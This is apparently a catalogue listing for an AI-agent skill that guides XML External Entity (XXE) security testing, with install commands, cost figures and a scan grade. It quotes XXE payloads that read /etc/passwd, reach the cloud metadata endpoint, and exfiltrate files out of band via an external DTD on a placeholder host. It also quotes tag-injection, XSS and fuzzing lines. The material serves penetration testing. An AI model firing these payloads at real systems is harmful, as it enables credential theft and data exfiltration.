xxe

xxe is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 116 tokens per session (1,861 once invoked), scanned B, original, MIT.

A security-testing guide for finding XML External Entity (XXE) flaws, where an XML parser is tricked into reading local files or contacting internal services.

In plain words
What is it for?
It is for reviewing XML APIs, SOAP services, file uploads, SVG files, and office documents that the application parses.
Why use it?
It helps identify unsafe XML settings that can expose server data, enable requests to private networks, or cause excessive resource use.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for reviewing XML APIs, SOAP services, file uploads, SVG files, and office documents that the application parses.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/xxe
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill xxe
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xxe

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xxe/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/xxe)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xxe"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xxe/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for xxe

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xxe"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xxe.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 116 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,861 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00116 $0.01861
Opus 5.5 $0.00046 $0.00744
Sonnet 5.5 $0.00023 $0.00372
Haiku 4.5 $0.00012 $0.00186

Measured 2mo ago against content hash eace394204e7, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

xxe scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/xxe/SKILL.md · 141 lines

How it starts

The opening of the file, as written. The whole thing — 141 lines — stays where its author put it; the contents beside it link to each section on GitHub.

XML External Entity (XXE) Injection

What Is Broken and Why

XXE vulnerabilities arise when XML input containing a DOCTYPE declaration with external entity references is processed by a parser that has external entity resolution enabled. The parser fetches the referenced resource (a local file, remote URL, or network service) and substitutes it into the document, which the application may then reflect in a response or process further. Beyond data disclosure, XXE enables SSRF and, via parameter entities, blind out-of-band exfiltration. The root cause is misconfigured or default-insecure XML parser settings.

Key Signals

  • Application accepts XML input (SOAP endpoints, REST APIs with Content-Type: application/xml, file uploads of .xml/.docx/.xlsx/.svg)
  • Requests containing <?xml declarations
  • Error messages referencing XML parsing libraries or DTD processing
  • Java APIs in stack traces: DocumentBuilder, SAXParser, XMLInputFactory, TransformerFactory
  • Application processing SVG, RSS/Atom feeds, or office document formats (DOCX, XLSX use XML internally)
  • Response includes content from server filesystem or internal network resources

Methodology

  1. Identify XML input vectors: direct XML body, XML-based file uploads, XML wrapped in SOAP.
  2. Submit minimal XML and confirm it is parsed (look for reflected values or processing differences).
  3. Inject a DOCTYPE with an internal entity first to confirm entity processing is enabled.
  4. Escalate to external file entity to test file disclosure.
  5. Test SSRF via HTTP entity pointing to OOB callback server.
  6. If output is not reflected (blind XXE), use out-of-band via parameter entities and external DTD.
  7. Test for error-based XXE if OOB is blocked.
  8. Test XML injection vectors (tag injection, CDATA bypass) if DOCTYPE is stripped.

Payloads & Tools

<!-- Step 1: Confirm entity processing (internal entity) -->
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe "xxe-test">]>
<root>&xxe;</root>

<!-- Step 2: File disclosure (Linux) -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!-- File disclosure (Windows) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]>
<foo>&xxe;</foo>

<!-- SSRF via HTTP entity -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<foo>&xxe;</foo>

<!-- OOB blind XXE (data exfiltration via DNS/HTTP) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://VICTIM/malicious.dtd">
  %xxe;
]>
<foo/>

<!-- malicious.dtd hosted on attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://VICTIM/?data=%file;'>">
%send;

<!-- Error-based XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>

<!-- XML tag injection / privilege escalation -->
<!-- Email field: inject closing tag + new element -->
[email protected]</mail><role>admin</role><mail>[email protected]

<!-- CDATA XSS bypass -->
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

<!-- wfuzz XML injection fuzzing -->
wfuzz -c -z file,xml-fuzz.txt --hc 200 TARGET/api/xml-endpoint

Read the full file on GitHub · 141 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 141 lines · 116 tokens per session scan B eace394204e7

Subscribe to this mod's changes

xxe is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 2mo ago), licensed MIT. It adds 116 tokens to every session and 1,861 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it B with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.

Related

xxe compared with skills from other repositories

xxe next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
xxeSecurityTalent/bugskill-aiSkill132mo agoMITB116Claude Code, Codex
user-research-cookiycookiy-ai/user-research-skillSkill1.6k21d agoMITA154Claude Code, Codex
playwright-best-practicescurrents-dev/playwright-best-practices-skillSkill44825d agoMITA214Claude Code, Codex
email-marketing-bibleCosmoBlk/email-marketing-bibleSkill39221d agoMITA195Claude Code
globalpercentsimonlin1212/globalpercentSkill791mo agoApache-2.0A134Claude Code, Codex
ui-ux-design-prosaifyxpro/ui-ux-design-pro-skillSkill1112mo agoMITA117Claude Code
distribution-patternsgarrettw/php-arch-skillsSkill172d agoMPL-2.0A91Claude Code, Codex